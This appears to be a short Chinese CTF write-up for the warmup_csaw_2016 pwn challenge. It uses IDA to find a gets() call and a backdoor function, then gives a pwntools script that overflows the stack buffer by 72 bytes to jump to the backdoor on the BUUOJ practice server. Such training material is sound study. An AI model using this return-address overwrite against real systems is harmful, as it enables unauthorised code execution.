这题原本昨天就打算发的,刚做完电脑死机了。老规矩那道题IDA分析找到主函数,如图:
大概明确函数的执行流程。而且我们在主函数一眼就看到一个危险函数gets,大概率就是个栈溢出。然后我们又在IDA中发现有system和一个后门函数,那这题就非常简单,跟上一题是一个思路的。
我们去虚拟机看下这个程序开启了哪些保护:
保护基本没开。那我们就直接栈溢出覆盖返回地址到后门函数,这题就做完了。在主函数中我们看到v5变量离rbp距离是0x40h,因为是64位程序还得加8才到返回地址。因此我们的exp如下:
from pwn import *
sh=remote('node4.buuoj.cn',27679)
#sh = process('./warmup_csaw_2016')
buf2_addr = 0x40060d
sh.sendline(b'A'*72 + p64(buf2_addr))
sh.interactive()
得到flag。